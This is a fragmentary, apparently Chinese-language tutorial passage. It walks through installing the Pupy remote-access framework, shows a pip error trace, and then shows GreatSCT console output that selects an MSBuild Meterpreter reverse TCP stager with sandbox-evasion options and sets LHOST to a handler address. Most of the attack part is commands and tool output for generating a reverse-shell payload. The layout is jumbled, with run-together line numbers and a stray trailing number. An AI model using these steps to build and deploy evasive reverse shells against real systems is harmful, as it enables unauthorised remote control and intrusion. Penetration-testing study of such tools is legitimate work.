git clone https://github.com/n1nj4sec/pupy.git cd pupy/pupy pip install rpyc git submodule update cd .. pip install -r pupy/requirements.txt wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates cd pupy apt-get install python-xlib ./pupysh.py
如果出现如下报错:
1 2 3 4 5 6 7 8 9 10 11 12 13
Collecting pyautogui Using cached PyAutoGUI-0.9.36.tar.gz Complete output from command python setup.py egg_info: Traceback (most recent call last): File "<string>", line 1, in <module> File "/tmp/pip-build-a90ODY/pyautogui/setup.py", line 6, in <module> version=__import__('pyautogui').__version__, File "pyautogui/__init__.py", line 115, in <module> from . import \_pyautogui_x11 as platformModule File "pyautogui/_pyautogui_x11.py", line 160, in <module> _display = Display(os.environ['DISPLAY']) File "/usr/lib/python2.7/UserDict.py", line 40, in __getitem__ raise KeyError(key) KeyError: 'DISPLAY'
=========================================================================== Great Scott! =========================================================================== ===========================================================================
Payload information:
Name: Pure MSBuild C# Reverse TCP Stager Language: msbuild Rating: Excellent Description: pure windows/meterpreter/reverse_tcp stager, no shellcode
Payload: msbuild/meterpreter/rev_tcp selected
Required Options:
Name Value Description ‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ DOMAIN X Optional: Required internal domain EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days HOSTNAME X Optional: Required system hostname INJECT_METHOD Virtual Virtual or Heap LHOST IP of the Metasploit handler LPORT 4444 Port of the Metasploit handler PROCESSORS X Optional: Minimum number of processors SLEEP X Optional: Sleep "Y" seconds, check if accelerated TIMEZONE X Optional: Check to validate not in UTC USERNAME X Optional: The required user account
Available Commands:
back Go back exit Completely exit GreatSCT generate Generate the payload options Show the shellcode's options set Set shellcode option
[msbuild/meterpreter/rev_tcp>>] set LHOST 192.168.1.4 41